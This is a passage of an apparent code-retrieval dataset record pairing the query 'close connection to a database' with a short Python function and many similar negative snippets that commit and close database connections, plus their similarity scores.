False","def connect(cls):\n cls.conn = MySQLdb.connect(**cls.configs)\n cls.conn.autocommit(cls.autocommit)","def __exit__(self, extype, exvalue, extraceback):\n if not extype:\n self.conn.commit()\n self.cursor.close()\n self.conn.close()","def commit(self):\n params = {'commit': 'true'}\n\n return self.client.post(\n self._get_collection_url('update/json'), params=params)","def exec_connect(provider):\n provider._query_provider._loaded = True\n provider._query_provider._connected = True\n provider.connect()","def make_sql_call(self):\n c_data = {'db_host': self.server,\n 'db_user': self.user,\n 'db_password': self.password,\n 'db_database': self.database}\n db_conn = self.SH.sql.helper.sql_conn_obj(c_data)\n result, detail = db_conn.connect()\n self.print_to_log(detail)\n result, detail = db_conn.execute(self.sql)\n db_conn.shutdown()\n self.print_to_log(detail)","def commitchanges(self): # 3\n res = self.__obj.commitchanges()\n if res != 0:\n result,msg = self.__getlasterror(res)\n raise Error(rescode(res),msg)","def close(conn, cursor):\n conn.commit()\n cursor.close()\n conn.close()"],"string":"[\n \"def commitQuery(self):\\r\\n\\t\\tself.session.commit()\",\n \"def commit(self):\\n self.conn.commit()\",\n \"def commit(self):\\n self.__connection.commit()\",\n \"def commit(self):\\n self._connection.execute_nonquery(\\\"sql\\\", \\\"COMMIT\\\", True)\",\n \"def commit(self) -> None:\\n self._connector.commit_transaction()\",\n \"def commit(self):\\n self.connection.commit()\",\n \"def commit( self ) :\\n self.oracle_connection.commit()\",\n \"def commit(self):\\n self._check_connection()\\n\\n for s in self._buffer_insert:\\n self._connection.execute(s)\\n del self._buffer_insert[:]\\n\\n self._connection.commit()\",\n \"def commit(self):\\n if self.transaction:\\n self.conn.commit()\\n self.transaction = False\",\n \"def commit_changes(self):\\n self.connection.commit()\",\n \"def commit(self):\\n self.sql_session.commit()\",\n \"def commit(self):\\n self.getSession().commit()\",\n \"def commit_and_close(self):\\n self.connection.commit()\\n self.cursor.close()\\n self.connection.close()\",\n \"def commit(self):\\n self.lock.acquire()\\n self.__Session.commit()\\n self.lock.release()\",\n \"def commit(cls, sql, **kwargs):\\n conn = kwargs['conn']\\n\\n cursor = conn.cursor(dictionary=True, buffered=False)\\n if CHECKS_OFF:\\n sql = TURN_CHECKS_OFF + sql\\n\\n for _ in cursor.execute(sql, kwargs.get('args'), multi=True):\\n pass\\n\\n cls.close(conn, cursor)\",\n \"def _commit(self):\\n if self.__session is not None:\\n self.__session.commit()\",\n \"def finish(self):\\n self.conn.commit()\\n self.conn.close()\",\n \"def save_query(self):\\r\\n self.conn.commit()\",\n \"def commit(self):\",\n \"def commit(self):\\n curs = self.cursor()\\n self.clearTempTables(curs)\\n super(_MockConnection, self).commit()\",\n \"def Commit(self):\\n sql_cnxn = self.GetMasterConnection()\\n try:\\n sql_cnxn.commit()\\n except MySQLdb.DatabaseError:\\n logging.exception('Commit failed for cnxn, rolling back')\\n sql_cnxn.rollback()\",\n \"def commit(self):\\n self.session.commit()\",\n \"def commit(self):\\n self.execute_sql(sql.commit)\\n self.under_transaction = False\",\n \"def commit(self):\\n return self.connection.commit\",\n \"def commit(self):\\n return self.conn.commit()\",\n \"def commit(self):\\n self.cnx.commit()\",\n \"def commit(self):\\n pass\",\n \"def commit(self):\\n pass\",\n \"def commit(self):\\n pass\",\n \"def commit(self):\\n pass\",\n \"def commit(self):\\n pass\",\n \"def commit(self):\\n conn = self.threadingLocal.connection\\n if isinstance(conn, Transaction):\\n self.threadingLocal.connection.commit()\",\n \"def stamp(self):\\n self.connection.commit()\\n self.cursor.close()\\n self.connection.close()\",\n \"def commit(self):\\n #main.signals['exit'].disconnect(self.commit)\\n self._dirty = False\\n with self._lock:\\n self._db.commit()\",\n \"def finish():\\n global conn, curs\\n conn.commit()\\n conn.close()\",\n \"def _do_commit(self):\\n self.backend.commit()\",\n \"def commit(self):\\n raise NotImplementedError\",\n \"def commit(self):\\n self.DB.commit()\",\n \"def transactionEnd(self):\\n self.connection.commit()\",\n \"def commitChanges(self):\\n \\n ## User is prompted that changes are being committed\\n print(\\\"Committing changes to the CRM and Mailings database...\\\")\\n db_connection.executeQuery(\\\"COMMIT;\\\")\",\n \"def commit(self):\\n try:\\n self.connection.commit()\\n except MySQLdb.Error as e:\\n self.connection.rollback()\\n try:\\n print(\\\"MySQL Error {}: {}\\\".format(e.args[0], e.args[1]))\\n except IndexError:\\n print(\\\"MySQL Error: {}\\\".format(str(e)))\",\n \"def commit(self) -> None:\\n pass\",\n \"def commit():\\n get_db().commit()\",\n \"def commit(self):\\n return self.connection.commit()\",\n \"def commit(self):\\n return\",\n \"def commit(self):\\n self.db.commit()\",\n \"def commit(self):\\n try:\\n db.session.commit()\\n except:\\n db.session.rollback()\\n raise\",\n \"def commit_transaction(self):\\n cursor = self._cursor()\\n cursor.close()\\n self._db.commit()\\n self._end_transaction()\",\n \"def commit(self):\\n datastore_pre_commit.send(session=self.db.session)\\n super().commit()\\n datastore_post_commit.send(session=self.db.session)\",\n \"def commit_transaction(self) -> None:\\n pass\",\n \"def close(self):\\n self.conn.commit()\\n self.conn.close()\\n lock.release(self.lock)\",\n \"def dbcommit(self):\\n self.con.commit()\",\n \"def commit(self):\\n self._session.commit()\\n self._session.close()\\n\\n return True\",\n \"def commit(self):\\n self.success = True\\n self.close()\",\n \"def _do_commit(self):\",\n \"def close(self):\\n self.connection.commit()\\n self.cursor.close()\\n self.connected = False\",\n \"def commit(self):\\n try:\\n self.session.commit()\\n except:\\n self.session.rollback()\\n raise\\n finally:\\n self.session.remove()\",\n \"def commit(self, transaction):\\n raise NotImplementedError\",\n \"def __exit__(self, exc_type, exc_value, exc_trace):\\n try:\\n self.conn.commit()\\n self.cursor.close()\\n self.conn.close()\\n except Exception as error:\\n print(f\\\"DBCM::__exit__::{error}\\\")\",\n \"def commit_and_close_database(conn, cur):\\n conn.commit()\\n cur.close()\\n conn.close()\",\n \"def Save(self) -> None:\\n self.__conn.commit()\",\n \"def commit(self):\\n self._cur_batch.commit()\\n self._cur_batch = None\\n self._num_mutations = 0\",\n \"def close(commit=True):\\n\\tif commit:\\n\\t\\tconnection.commit()\\n\\tconnection.close()\",\n \"def __exit__(self, exc_type, exc_val, exc_tb) -> None:\\n self.conn.commit()\\n self.cursor.close()\\n self.conn.close()\",\n \"def __exit__(self, exc_type, exc_val, exc_tb) -> None:\\n self.conn.commit()\\n self.cursor.close()\\n self.conn.close()\",\n \"def __exit__(self, exc_type, exc_val, exc_tb) -> None:\\n self.conn.commit()\\n self.cursor.close()\\n self.conn.close()\",\n \"def commit(self, cursor):\\n\\t\\twith warnings.catch_warnings():\\n\\t\\t\\twarnings.simplefilter(\\\"ignore\\\")\\n\\t\\t\\tconnection = cursor.connection\\n\\t\\tconnection.commit()\\n\\t\\tself._close_cursor(cursor)\",\n \"def commit(self):\\n for db in self.values():\\n db.commit()\",\n \"def manual_exit(self):\\n self._dbconnect.commit()\\n self._dbconnect.close()\\n self._dbconnect = None\\n self._cursor = None\",\n \"def _close_connection(self, connection):\\n connection.commit()\\n connection.close()\",\n \"def flush(self):\\n self._uow.commit()\",\n \"def __commit(self):\\n from sqlalchemy.exc import IntegrityError\\n\\n try:\\n db.session.commit()\\n except IntegrityError:\\n db.session.rollback()\",\n \"def close_connection(self):\\n self.dbcon.commit()\\n self.dbcon.close()\",\n \"def database_commit(connector):\\n try:\\n connector.commit()\\n except Exception as e:\\n raise Exception(\\n \\\"An error occurred while committing the modifications in the database: %s\\\"\\n % e\\n )\",\n \"def test_disconnect_with_commit(self):\\n\\n mock_connector = MagicMock()\\n database = Database()\\n database.connect(connector_impl=mock_connector)\\n\\n # commit\\n database.disconnect(True)\\n\\n connection = mock_connector.connect()\\n self.assertTrue(connection.commit.called)\\n self.assertTrue(connection.close.called)\",\n \"def close(self):\\n if self._con is not None:\\n self._commit()\\n self._con.close()\\n self._con = None\",\n \"def close():\\n conn.commit()\\n return conn.close()\",\n \"def close_connection():\\n if DbUtil.connection:\\n DbUtil.connection.commit()\\n DbUtil.connection.close()\",\n \"def commit(self):\\r\\n if self._closed:\\r\\n raise Error('The connection to the database has been closed.')\\r\\n for table in self.tables.keys():\\r\\n if self.tables[table].open:\\r\\n self.tables[table].commit()\\r\\n self.createdTables = []\",\n \"def finish(con):\\n\\n con.commit() # Save changes in file\\n con.close() # Close connection\",\n \"def close(conn):\\n #conn.commit()\\n conn.close()\",\n \"def _commit_now(self):\\n self._database.commit()\",\n \"def test_commit_and_close_on_success(self):\\n\\n mock_connector = MagicMock()\\n\\n with Database.connect(mysql_connector_impl=mock_connector) as database:\\n connection = database.connection\\n\\n mock_connector.connect.assert_called_once()\\n connection.commit.assert_called_once()\\n connection.close.assert_called_once()\",\n \"def close(self):\\n assert not self.closed\\n if self.success:\\n run(self.connection, \\\"COMMIT\\\")\\n else:\\n run(self.connection, \\\"ROLLBACK\\\")\\n self.closed = True\\n self.on_close()\",\n \"def commit(self):\\n self.create()\\n return self.refresh()\",\n \"def save_and_exit():\\n con.commit()\\n con.close()\\n quit()\",\n \"def commit(self):\\n db.session.add(self)\\n db.session.commit()\",\n \"def commit(self):\\r\\n # print(\\\"Connection to Mongo...\\\")\\r\\n client = MongoClient(DatabaseConfig.host, DatabaseConfig.port)\\r\\n # print(\\\"mongo-client: {}\\\".format(client))\\r\\n db = client[DatabaseConfig.database]\\r\\n records = db[self.collection]\\r\\n # print(kmodels)\\r\\n records.save(self.to_dict())\\r\\n client.close()\",\n \"def save_db(self) -> None:\\n self.connection.commit()\",\n \"def _end_transaction(self):\\n self._db.autocommit=True\",\n \"def save(self, commit=True):\\n \\n \\n try:\\n\\n db = getDatabase()\\n connection = db.connect()\\n\\n connection.add(self)\\n except Exception as e:\\n raise e\\n finally:\\n db.dispose()\",\n \"def reconnect(self):\\n self.close()\\n self._db = pymysql.connect(**self._db_args)\\n self._db.autocommit(True)\",\n \"async def commit(self):\\n if not self._active:\\n raise ProfileSessionInactiveError()\\n await self._teardown(commit=True)\\n self._active = False\",\n \"def connect(cls):\\n cls.conn = MySQLdb.connect(**cls.configs)\\n cls.conn.autocommit(cls.autocommit)\",\n \"def __exit__(self, extype, exvalue, extraceback):\\n if not extype:\\n self.conn.commit()\\n self.cursor.close()\\n self.conn.close()\",\n \"def commit(self):\\n params = {'commit': 'true'}\\n\\n return self.client.post(\\n self._get_collection_url('update/json'), params=params)\",\n \"def exec_connect(provider):\\n provider._query_provider._loaded = True\\n provider._query_provider._connected = True\\n provider.connect()\",\n \"def make_sql_call(self):\\n c_data = {'db_host': self.server,\\n 'db_user': self.user,\\n 'db_password': self.password,\\n 'db_database': self.database}\\n db_conn = self.SH.sql.helper.sql_conn_obj(c_data)\\n result, detail = db_conn.connect()\\n self.print_to_log(detail)\\n result, detail = db_conn.execute(self.sql)\\n db_conn.shutdown()\\n self.print_to_log(detail)\",\n \"def commitchanges(self): # 3\\n res = self.__obj.commitchanges()\\n if res != 0:\\n result,msg = self.__getlasterror(res)\\n raise Error(rescode(res),msg)\",\n \"def close(conn, cursor):\\n conn.commit()\\n cursor.close()\\n conn.close()\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7059963","0.69966274","0.6971735","0.6961581","0.6949486","0.6940861","0.6940398","0.6907652","0.6823024","0.681941","0.67607075","0.6757692","0.6726335","0.6708127","0.6663223","0.66234124","0.6611488","0.65827453","0.6555924","0.65552056","0.65522164","0.65371674","0.65311325","0.65216696","0.65136147","0.65101004","0.6506583","0.6506583","0.6506583","0.6506583","0.6506583","0.6489005","0.6484455","0.6452548","0.64463586","0.6429519","0.6419619","0.64185447","0.6368056","0.6330794","0.6325476","0.63065356","0.6297161","0.6286542","0.62842107","0.6282738","0.628198","0.6275307","0.62396616","0.6176124","0.61683863","0.61542976","0.61494535","0.61267495","0.61165","0.611564","0.6111343","0.61000985","0.60864127","0.6079165","0.6068377","0.6066705","0.60609716","0.60596406","0.60596406","0.60596406","0.6047199","0.60254616","0.60110646","0.60103446","0.597716","0.59684974","0.5957415","0.59420544","0.59401894","0.5931356","0.5923722","0.5919443","0.59092367","0.590466","0.5901014","0.58972746","0.58663857","0.5802871","0.5798479","0.57857746","0.57856345","0.5779488","0.5768499","0.5748787","0.5747864","0.5740143","0.57234967","0.57086754","0.5702433","0.56935066","0.56909955","0.5664085","0.565251","0.56449765"],"string":"[\n \"0.7059963\",\n \"0.69966274\",\n \"0.6971735\",\n \"0.6961581\",\n \"0.6949486\",\n \"0.6940861\",\n \"0.6940398\",\n \"0.6907652\",\n \"0.6823024\",\n \"0.681941\",\n \"0.67607075\",\n \"0.6757692\",\n \"0.6726335\",\n \"0.6708127\",\n \"0.6663223\",\n \"0.66234124\",\n \"0.6611488\",\n \"0.65827453\",\n \"0.6555924\",\n \"0.65552056\",\n \"0.65522164\",\n \"0.65371674\",\n \"0.65311325\",\n \"0.65216696\",\n \"0.65136147\",\n \"0.65101004\",\n \"0.6506583\",\n \"0.6506583\",\n \"0.6506583\",\n \"0.6506583\",\n \"0.6506583\",\n \"0.6489005\",\n \"0.6484455\",\n \"0.6452548\",\n \"0.64463586\",\n \"0.6429519\",\n \"0.6419619\",\n \"0.64185447\",\n \"0.6368056\",\n \"0.6330794\",\n \"0.6325476\",\n \"0.63065356\",\n \"0.6297161\",\n \"0.6286542\",\n \"0.62842107\",\n \"0.6282738\",\n \"0.628198\",\n \"0.6275307\",\n \"0.62396616\",\n \"0.6176124\",\n \"0.61683863\",\n \"0.61542976\",\n \"0.61494535\",\n \"0.61267495\",\n \"0.61165\",\n \"0.611564\",\n \"0.6111343\",\n \"0.61000985\",\n \"0.60864127\",\n \"0.6079165\",\n \"0.6068377\",\n \"0.6066705\",\n \"0.60609716\",\n \"0.60596406\",\n \"0.60596406\",\n \"0.60596406\",\n \"0.6047199\",\n \"0.60254616\",\n \"0.60110646\",\n \"0.60103446\",\n \"0.597716\",\n \"0.59684974\",\n \"0.5957415\",\n \"0.59420544\",\n \"0.59401894\",\n \"0.5931356\",\n \"0.5923722\",\n \"0.5919443\",\n \"0.59092367\",\n \"0.590466\",\n \"0.5901014\",\n \"0.58972746\",\n \"0.58663857\",\n \"0.5802871\",\n \"0.5798479\",\n \"0.57857746\",\n \"0.57856345\",\n \"0.5779488\",\n \"0.5768499\",\n \"0.5748787\",\n \"0.5747864\",\n \"0.5740143\",\n \"0.57234967\",\n \"0.57086754\",\n \"0.5702433\",\n \"0.56935066\",\n \"0.56909955\",\n \"0.5664085\",\n \"0.565251\",\n \"0.56449765\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7103915"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":15379,"cells":{"query":{"kind":"string","value":"Closes connection to a database of a connect instance."},"document":{"kind":"string","value":"def end_connection(conn, cur):\r\n cur.close()\r\n conn.close()"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def disconnect_from_db(self):\n self.db_cur.close()\n self.db_conn.close()","def close_db_connection(cls):\n db.close()","def close_connection(exception):\n db = database()\n\n if db is not None:\n db.close()","def close_db(error):\n debug(\"Disconnecting FROM DB.\")\n if hasattr(g, 'db_connection'):\n g.db_connection.close()","def DBDisconnect(self):\n if self._dbh:\n self._dbh.close()\n self._dbh = None","def close_database(db):\n global DB_CONNECTIONS\n con = DB_CONNECTIONS.get(db, None)\n if con is not None:\n db_name = Path(db).name\n logging.info(f\">>> Closing database `{db_name}` <<<\")\n # Closing will delete the connection. An in-memory DB will lose all data permanently.\n # See https://stackoverflow.com/questions/48732439/deleting-a-database-file-in-memory\n con.close()\n DB_CONNECTIONS.pop(db, None)","def close_connection(exception):\n db = getattr(g, '_database', None)\n if db is not None:\n db.close()","def disconnect(self):\n\n try:\n self.cursor.close()\n self.db.close()\n except cx_Oracle.DatabaseError:\n pass","def close_database(self):\n if self._conn is not None:\n self._conn.close()\n self._conn = None","def close_connection(exception):\r\n\r\n db = getattr(g, '_database', None)\r\n if db is not None:\r\n db.close()","def close_db_connection(self, database_name):\n\n self.connections[database_name].close()\n del self.connections[database_name]","def disconnect(self):\n self.db.close()","def close_db(error):\n debug(\"Disconnecting from DB.\")\n if hasattr(g, 'pg_db'):\n g.pg_db.close()","def disconnect_from_db(self):\n self.logger.debug('Disconnecting from the database.')\n if self.db is not None:\n try:\n self.db['client'].close()\n self.logger.debug('Successfully disconnected from the database.')\n except Exception as e:\n self.logger.error('Failed to disconnect from the database.')\n self.logger.error(e)\n finally:\n # reset\n self.db = None\n else:\n self.logger.debug('No connection found.')","def close_database(exception):\n # top = _app_ctx_stack.top\n # if hasattr(top, 'sqlite_db'):\n # top.sqlite_db.close()\n client.close()","def close_db(exception):\n db = getattr(g, '_database', None)\n if db is not None:\n db.close()","def db_disconnect(self):\n \n if(self.connection):\n self.connection.close()\n return","def disconnect(self):\n if self.db:\n try:\n self.db.close()\n finally:\n self.db = None","def close_db():\n if ( not g.get( 'db' ) is None ):\n g.db.dispose()\n\n g.db = None","def close(self):\n Log.debug('DB -> close')\n # 关闭数据库连接\n self.conn.close()","def disconnect_from_db(conn):\n if conn:\n try:\n conn.close()\n except Exception as e:\n print(str(e))\n raise e","def close(self):\n\t\tif self.connected:\n#\t\t\t\t self.__db.close()\n\t\t\tself.__engine.dispose()\n\t\t\tself.connected = False","def close(self):\n if self._dbopen:\n self._dbcon.close()","def close_db_connection(client):\n client.close()","def close(self):\n if type(self._dbcon).__name__.lower() == 'connection':\n self._dbcon.close()\n else:\n raise dbodriver.DBODriverException('Not connected')","def close(self):\n if self._conn is not None:\n self._close_database()","def db_close(e=None):\n database = g.pop('db', None)\n\n if database:\n database.close()","def Close(self):\n l_logger.debug(\"Closing database connection\")\n self.db.close()","def disconnect_db(self) -> None:","def db_close_conn(tunnel, engine):\n engine.dispose()\n tunnel.close()","def close_db_connection(exception):\n top = _app_ctx_stack.top\n if hasattr(top, 'sqlite_db'):\n top.sqlite_db.close()","def close_connection(self):\n if self.cursor is None and self.database is None:\n # if we don't have an open connection, do nothing\n return\n self.cursor.close()\n self.database.close()","def close_connection(self):\n self.dbcon.commit()\n self.dbcon.close()","def close_connection():\n if DbUtil.connection:\n DbUtil.connection.commit()\n DbUtil.connection.close()","def close_db(error):\n if \"db_engine_main\" in g:\n g.db_engine_main.dispose()","def close_db(self, commit=True):\n self.conn.commit()\n self.cur.close()\n self.conn.close()","def close_db_connection(exception):\n top = _app_ctx_stack.top\n if hasattr(top, 'sqlite_db'):\n top.sqlite_db.close()","def close_db_connection(exception):\n top = _app_ctx_stack.top\n if hasattr(top, 'sqlite_db'):\n top.sqlite_db.close()","def close_db(error):\n if hasattr(g, 'database'):\n g.database.close()","def close(self):\n self.__database__.close()","def close_db():\n if \"db\" in context:\n context[\"db\"].close()","def close_db(connection: sqlite3.Connection):\n connection.commit()\n connection.close()","def close_connection_if_open():\n\ttry:\n\t\tconn = flask.g._database_connection\n\texcept AttributeError:\n\t\tpass\n\telse:\n\t\tconn.close()\n\t\tdel flask.g._database_connection","def close_connections(self):\n self.db_connection.close_connections()","async def close_connection(app, loop):\n await app.config['database'].disconnect()","def close(self):\n self.db.close()","def _closeConnection(cursor, db):\n cursor.commit()\n cursor.close()\n db.close()","def close(self):\n self.conn.commit()\n self.cursor().close()\n self.conn.close()\n self._db = None","def close(self):\n\t\tself.db.close()","def close_db(error):\n if hasattr(g, 'pg_cur'):\n g.pg_cur.close()\n g.pg_conn.close()","def close(self):\n self.db.remove()\n self.engine.dispose()","def close_db_session(self, session):\r\n session.close()","def close(self):\n if getattr(self, \"_db\", None) is not None:\n self._db.close()\n self._db = None","def close(self):\n if getattr(self, \"_db\", None) is not None:\n self._db.close()\n self._db = None","def close(self):\n if getattr(self, \"_db\", None) is not None:\n self._db.close()\n self._db = None","def close_db(error):\n conn = g.get('sqlite_db', None)\n if conn is not None:\n conn.close()","def reconnect(self):\n self.close()\n self._db = pymysql.connect(**self._db_args)","def close_db(e=None):\n db = g.pop(\"db\", None)\n\n if db is not None:\n db.close()","def close_db(e=None):\n db = g.pop(\"db\", None)\n\n if db is not None:\n db.close()","def close_db(error):\n if hasattr(g, \"sql_db\"):\n g.sql_db.close()","def close_db(e=None):\n db = g.pop('db', None)\n\n if db is not None:\n db.close()","def close_db(e=None):\n db = g.pop('db', None)\n\n if db is not None:\n db.close()","def close_db(e=None):\n db = g.pop('db', None)\n\n if db is not None:\n db.close()","def close(self):\n if getattr(self, \"_db\", None):\n self._db.close()\n self._db = None","async def close(self):\n print('Close {}'.format(str(self.__hash__)))\n await self.db.close()","def closedb(e=None):\n db = g.pop('db', None)\n\n if db is not None:\n db.close()","def close(self):\n self.clean()\n\n for conn in self.conn__.values():\n try:\n conn.commit()\n conn.close()\n except sqlite3.ProgrammingError:\n pass","def close(self):\n self.connection.commit()\n self.cursor.close()\n self.connected = False","def close_db(e=None) -> None:\r\n db = g.pop('db', None)\r\n if db is not None:\r\n db.close()","def close_db_connections():\n for db in db_connections.values():\n db.close()","def disconnect(self, verbose=True): \n self. cursor.close()\n self.cnx.close()\n \n self.connected = False\n \n if verbose: print(\"Disconnected from database.\")","def DisconnectDB(self) :\r\n\t\ttry :\r\n\t\t\tif self.DB_Connect is not None :\r\n\t\t\t\tself.DB_Cursor = None\r\n\t\t\t\tself.DB_Connect.close()\r\n\t\t\t\tlogging.info(\"Disconnected the database: %s\"%self.DBpath)\r\n\t\t\t\tself.DB_Connect = None\r\n\t\t\telse :\r\n\t\t\t\tlogging.info(\"No database to disconnect.\")\r\n\t\t\tself.DBlock.release()\r\n\t\texcept Exception as detail :\r\n\t\t\tlogging.error(\"Failed to disconnect the database: %s\"%detail)\r\n\t\treturn","def shutdown_db():\n print('Exit.')\n global conn\n conn.close()","def disconnect(self):\n self._save_database()\n self.dbh.close()\n self._remove_temporary_file()","def close_connection(name):\n if QtSql.QSqlDatabase.database(name).open():\n QtSql.QSqlDatabase.database(name).close()\n QtSql.QSqlDatabase.removeDatabase(name)\n print(\"Connection closed. New connection required\")","def database_disconnect(connector, cursor):\n try:\n cursor.close()\n connector.close()\n except Exception as e:\n raise Exception(\"An error occurred while closing the database : %s\" % e)","def close_database(self) -> None:\n self.api = None\n self.base = None\n self.table = None","def close(self):\n self.db.commit()\n self.db.close()","def close_connection(self):\n self.cursor.close()\n self.connection.close()","def close(self):\n self.cursor.close()\n self.db.close()","def _close_database(self):\n assert self._conn is not None\n logging.info(\"Closing file {!r}.\".format(self._filename))\n self._cursor.close()\n self._cursor = None\n self._conn.close()\n self._conn = None\n self._filename = None\n self._sessionUID = None","def close(self):\n# self.cursor.close()\n\tself.db.close()","async def disconnect(self):\n self.logger.info(f'disconnecting from {self.dsn}')\n await self.dbase.disconnect()","def close(self):\n if getattr(self, \"_db\", None) is not None:\n if not self._db_args['autocommit']:\n self._db.commit()\n self._db.close()\n self._db = None","def close_database(exception):\n top = _app_ctx_stack.top\n if hasattr(top, 'sqlite_db'):\n top.sqlite_db.close()","def close_database(exception):\n top = _app_ctx_stack.top\n if hasattr(top, 'sqlite_db'):\n top.sqlite_db.close()","def close_database(exception):\n top = _app_ctx_stack.top\n if hasattr(top, 'sqlite_db'):\n top.sqlite_db.close()","def close_db(error):\n if hasattr(g, 'pg_db'):\n g.pg_db.close()","def close_db(error):\n if hasattr(g, 'mysql_db'):\n g.mysql_db.close()","def __del__(self):\n self.db_conn.close()","def __del__(self):\n self.db_conn.close()","def close_db(error):\n if hasattr(flask.g, 'client'):\n flask.g.client.close()","def close():\n conn.commit()\n return conn.close()","def close_db(error):\n if hasattr(g, 'postgres_db'):\n g.postgres_db.close()","async def close_db(app):\r\n LOG.info('Closing database connection pool.')\r\n await app['pool'].close()","def exit(self):\n self.__mongo_db.close_connection()\n self.__postgre_db.close_connection()","def teardown_db(exception):\n db = getattr(g, '_database', None)\n if db is not None:\n db.close()","def close_db(error):\n if hasattr(g, 'postgresdb'):\n g.postgresdb.close()","def close_db(self, exception):\n if self.is_connected:\n connection_will_close.send()\n if exception is None and not transaction.isDoomed():\n transaction.commit()\n else:\n transaction.abort()\n _app_ctx_stack.top.zodb_transfers = self.connection.getTransferCounts(\n clear=True\n )\n self.connection.close()\n connection_closed.send()","def close(self):\n if self.authenticated:\n self.db.logout()\n if self.connection is not None:\n self.connection.close()","def reconnect(self):\n self.close()\n self._db = pymysql.connect(**self._db_args)\n self._db.autocommit(True)"],"string":"[\n \"def disconnect_from_db(self):\\n self.db_cur.close()\\n self.db_conn.close()\",\n \"def close_db_connection(cls):\\n db.close()\",\n \"def close_connection(exception):\\n db = database()\\n\\n if db is not None:\\n db.close()\",\n \"def close_db(error):\\n debug(\\\"Disconnecting FROM DB.\\\")\\n if hasattr(g, 'db_connection'):\\n g.db_connection.close()\",\n \"def DBDisconnect(self):\\n if self._dbh:\\n self._dbh.close()\\n self._dbh = None\",\n \"def close_database(db):\\n global DB_CONNECTIONS\\n con = DB_CONNECTIONS.get(db, None)\\n if con is not None:\\n db_name = Path(db).name\\n logging.info(f\\\">>> Closing database `{db_name}` <<<\\\")\\n # Closing will delete the connection. An in-memory DB will lose all data permanently.\\n # See https://stackoverflow.com/questions/48732439/deleting-a-database-file-in-memory\\n con.close()\\n DB_CONNECTIONS.pop(db, None)\",\n \"def close_connection(exception):\\n db = getattr(g, '_database', None)\\n if db is not None:\\n db.close()\",\n \"def disconnect(self):\\n\\n try:\\n self.cursor.close()\\n self.db.close()\\n except cx_Oracle.DatabaseError:\\n pass\",\n \"def close_database(self):\\n if self._conn is not None:\\n self._conn.close()\\n self._conn = None\",\n \"def close_connection(exception):\\r\\n\\r\\n db = getattr(g, '_database', None)\\r\\n if db is not None:\\r\\n db.close()\",\n \"def close_db_connection(self, database_name):\\n\\n self.connections[database_name].close()\\n del self.connections[database_name]\",\n \"def disconnect(self):\\n self.db.close()\",\n \"def close_db(error):\\n debug(\\\"Disconnecting from DB.\\\")\\n if hasattr(g, 'pg_db'):\\n g.pg_db.close()\",\n \"def disconnect_from_db(self):\\n self.logger.debug('Disconnecting from the database.')\\n if self.db is not None:\\n try:\\n self.db['client'].close()\\n self.logger.debug('Successfully disconnected from the database.')\\n except Exception as e:\\n self.logger.error('Failed to disconnect from the database.')\\n self.logger.error(e)\\n finally:\\n # reset\\n self.db = None\\n else:\\n self.logger.debug('No connection found.')\",\n \"def close_database(exception):\\n # top = _app_ctx_stack.top\\n # if hasattr(top, 'sqlite_db'):\\n # top.sqlite_db.close()\\n client.close()\",\n \"def close_db(exception):\\n db = getattr(g, '_database', None)\\n if db is not None:\\n db.close()\",\n \"def db_disconnect(self):\\n \\n if(self.connection):\\n self.connection.close()\\n return\",\n \"def disconnect(self):\\n if self.db:\\n try:\\n self.db.close()\\n finally:\\n self.db = None\",\n \"def close_db():\\n if ( not g.get( 'db' ) is None ):\\n g.db.dispose()\\n\\n g.db = None\",\n \"def close(self):\\n Log.debug('DB -> close')\\n # 关闭数据库连接\\n self.conn.close()\",\n \"def disconnect_from_db(conn):\\n if conn:\\n try:\\n conn.close()\\n except Exception as e:\\n print(str(e))\\n raise e\",\n \"def close(self):\\n\\t\\tif self.connected:\\n#\\t\\t\\t\\t self.__db.close()\\n\\t\\t\\tself.__engine.dispose()\\n\\t\\t\\tself.connected = False\",\n \"def close(self):\\n if self._dbopen:\\n self._dbcon.close()\",\n \"def close_db_connection(client):\\n client.close()\",\n \"def close(self):\\n if type(self._dbcon).__name__.lower() == 'connection':\\n self._dbcon.close()\\n else:\\n raise dbodriver.DBODriverException('Not connected')\",\n \"def close(self):\\n if self._conn is not None:\\n self._close_database()\",\n \"def db_close(e=None):\\n database = g.pop('db', None)\\n\\n if database:\\n database.close()\",\n \"def Close(self):\\n l_logger.debug(\\\"Closing database connection\\\")\\n self.db.close()\",\n \"def disconnect_db(self) -> None:\",\n \"def db_close_conn(tunnel, engine):\\n engine.dispose()\\n tunnel.close()\",\n \"def close_db_connection(exception):\\n top = _app_ctx_stack.top\\n if hasattr(top, 'sqlite_db'):\\n top.sqlite_db.close()\",\n \"def close_connection(self):\\n if self.cursor is None and self.database is None:\\n # if we don't have an open connection, do nothing\\n return\\n self.cursor.close()\\n self.database.close()\",\n \"def close_connection(self):\\n self.dbcon.commit()\\n self.dbcon.close()\",\n \"def close_connection():\\n if DbUtil.connection:\\n DbUtil.connection.commit()\\n DbUtil.connection.close()\",\n \"def close_db(error):\\n if \\\"db_engine_main\\\" in g:\\n g.db_engine_main.dispose()\",\n \"def close_db(self, commit=True):\\n self.conn.commit()\\n self.cur.close()\\n self.conn.close()\",\n \"def close_db_connection(exception):\\n top = _app_ctx_stack.top\\n if hasattr(top, 'sqlite_db'):\\n top.sqlite_db.close()\",\n \"def close_db_connection(exception):\\n top = _app_ctx_stack.top\\n if hasattr(top, 'sqlite_db'):\\n top.sqlite_db.close()\",\n \"def close_db(error):\\n if hasattr(g, 'database'):\\n g.database.close()\",\n \"def close(self):\\n self.__database__.close()\",\n \"def close_db():\\n if \\\"db\\\" in context:\\n context[\\\"db\\\"].close()\",\n \"def close_db(connection: sqlite3.Connection):\\n connection.commit()\\n connection.close()\",\n \"def close_connection_if_open():\\n\\ttry:\\n\\t\\tconn = flask.g._database_connection\\n\\texcept AttributeError:\\n\\t\\tpass\\n\\telse:\\n\\t\\tconn.close()\\n\\t\\tdel flask.g._database_connection\",\n \"def close_connections(self):\\n self.db_connection.close_connections()\",\n \"async def close_connection(app, loop):\\n await app.config['database'].disconnect()\",\n \"def close(self):\\n self.db.close()\",\n \"def _closeConnection(cursor, db):\\n cursor.commit()\\n cursor.close()\\n db.close()\",\n \"def close(self):\\n self.conn.commit()\\n self.cursor().close()\\n self.conn.close()\\n self._db = None\",\n \"def 